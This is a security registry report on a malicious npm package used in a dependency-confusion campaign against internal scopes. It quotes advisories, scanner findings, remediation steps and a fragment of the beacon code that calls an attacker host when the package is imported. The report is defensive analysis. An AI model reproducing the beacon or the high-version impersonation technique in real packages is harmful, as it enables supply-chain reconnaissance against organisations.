registry / Malware / @newspage/lib-ng-async-routes-ui / 99.99.4

@newspage/lib-ng-async-routes-ui@99.99.4

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 7d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17872 confirms this npm version as malicious.

Advisory

MAL-2026-17872

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @newspage/lib-ng-async-routes-ui (npm)

Details

npm user 'priyashareek' published this package in a dependency confusion campaign against the internal scopes @accenturecodefoundry and @newspage. The publisher used 99.99.x versions to outrank the internal packages. 0.0.0-stage and 99.99.1 are empty placeholders. In version 99.99.4, index.js sends an HTTPS GET to attacker-controlled host accenture-npm.azurewebsites.net (/async). The same publisher's @accenturecodefoundry/mfe-pot-shared-ui-scds-core calls back to that host. The 'preinstall' script in these versions is empty; the publisher put 'node index.js || true' in the 'main' field instead, likely by mistake. Node.js can't resolve that 'main' target and falls back to index.js, so the beacon fires when code requires or imports the package, not during install. --- ## Source: amazon-inspector (6d6ffc152b9babe9a8d906d8aea7e08ae4b64d3171c98157456888c4174284d7) @newspage/lib-ng-async-routes-ui@99.99.4 is a dependency-confusion artifact. The scoped name impersonates an internal-sounding namespace, and the implausibly high version (99.99.4) is the standard technique for winning resolution against a lower-versioned private package of the same name. On require(), the main module unconditionally issues an HTTPS GET to the hardcoded host accenture-npm.azurewebsites.net at the path /async, causing any environment that resolves and loads the package to beacon out to that endpoint. The outbound request discloses source IP and request metadata to the operator of that Azure Web App, confirming to an external party that an internal build or developer machine has pulled a package under this scope. No first-party relationship or caller consent exists; the destination is an external Azure Web App, not an Accenture-controlled domain.

References

OpenSSF/OSV advisory WEB PACKAGE PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The target source performs an unexplained fixed-host request when its entry module is evaluated, leaving a real but limited network behavior unresolved. The separate supplemental snapshot contains additional identifier collection, but the evidence file says that snapshot is not part of the target archive.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing the package through its main entry.

Impact

The remote host can observe that the callback occurred and receive ordinary connection metadata; no further effect is established by the inspected source.

Mechanism

The root module calls the HTTPS client with a fixed host and path.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

accenture-npm.azurewebsites.net

Independent scan evidence

public snapshot

AI called this Suspicious at 85.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for AI warning decision

The manifest sets a malformed-looking main value and has empty preinstall and postinstall commands.
The root module sends an HTTPS GET to a fixed external host when evaluated.
The investigation evidence identifies supplemental snapshots as files not shipped in the target archive.

Evidence against

The inspected target module does not include host or user identifiers in its request.
The package has no active preinstall or postinstall command.

Behavioral surface

Source

Network

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 157 B of source

Source & flagged code

10 flagged

.lpm-investigation-context/evidence.jsonView file

•Published source reference

High

Network

Independent evidence contains separately hash/SRI-verified related snapshots, not target-shipped files. Inspect their source to assess callback purpose and activation; no verdict is implied.

.lpm-investigation-context/evidence.jsonView on unpkg

1{ "kind": "LPM independent investigation evidence; these supplemental snapshots are not files shipped in the target archive.", "target": { "name": "@newspage/lib-ng-async-routes-ui",

High

Ai Review Evidence

The investigation evidence identifies supplemental snapshots as files not shipped in the target archive.

.lpm-investigation-context/evidence.jsonView on unpkg · L1

package.jsonView file

•Published source reference

High

Network

Review focus: Node CommonJS falls back to root index.js when main points to a missing file and exports is absent. An invalid main string does not alone make index.js inert.

package.jsonView on unpkg

•scripts.postinstall =

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"description": "A simple placeholder for npm.", "main": "node index.js || true", "scripts": { "preinstall": "", "postinstall": "" },

High

Suspicious Lifecycle Evidence

The manifest sets a malformed-looking main value and has empty preinstall and postinstall commands.

package.jsonView on unpkg · L4

•scripts.preinstall =

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall =

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

•Published source reference

High

Network

Trace automatic require/import callback, destination, any host/user identifiers, and recipient consent. Package execution is forbidden; inspect the source only.

index.jsView on unpkg

1const https = require('https'); const callback = 'accenture-npm[redacted]'; try { https.get(`https://${callback}/async`, () => {}); } catch

High

Ai Review Evidence

The root module sends an HTTPS GET to a fixed external host when evaluated.

index.jsView on unpkg · L1

.lpm-investigation-context/snapshot-0/index.jsView file

•Published source reference

High

Network

Compare the separately verified Accenture lifecycle callback and this module callback. Verify functional behavior and recipient-specific consent; do not infer from labels.

.lpm-investigation-context/snapshot-0/index.jsView on unpkg

Source & flagged code

10 flagged · loading source

.lpm-investigation-context/evidence.jsonView file

•Published source reference

High

Network

Independent evidence contains separately hash/SRI-verified related snapshots, not target-shipped files. Inspect their source to assess callback purpose and activation; no verdict is implied.

.lpm-investigation-context/evidence.jsonView on unpkg

1{ "kind": "LPM independent investigation evidence; these supplemental snapshots are not files shipped in the target archive.", "target": { "name": "@newspage/lib-ng-async-routes-ui",

High

Ai Review Evidence

The investigation evidence identifies supplemental snapshots as files not shipped in the target archive.

.lpm-investigation-context/evidence.jsonView on unpkg · L1

package.jsonView file

•Published source reference

High

Findings

8 High3 Medium1 Low

HighNetwork.lpm-investigation-context/evidence.json

HighNetworkpackage.json

HighNetworkindex.js

HighNetwork.lpm-investigation-context/snapshot-0/index.js

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

HighAi Review Evidence.lpm-investigation-context/evidence.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

Affected versions and remediation

This report applies to @newspage/lib-ng-async-routes-ui@99.99.4.

See all versions of @newspage/lib-ng-async-routes-ui for other recorded verdicts.

Avoid installing @newspage/lib-ng-async-routes-ui@99.99.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-16 11:24:16.404Z (UTC).

Source advisory published: 2026-10-13 00:00:00.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

More from @newspage

Other malware packages

Related packages

More from @newspage

Other malware packages

Source & flagged code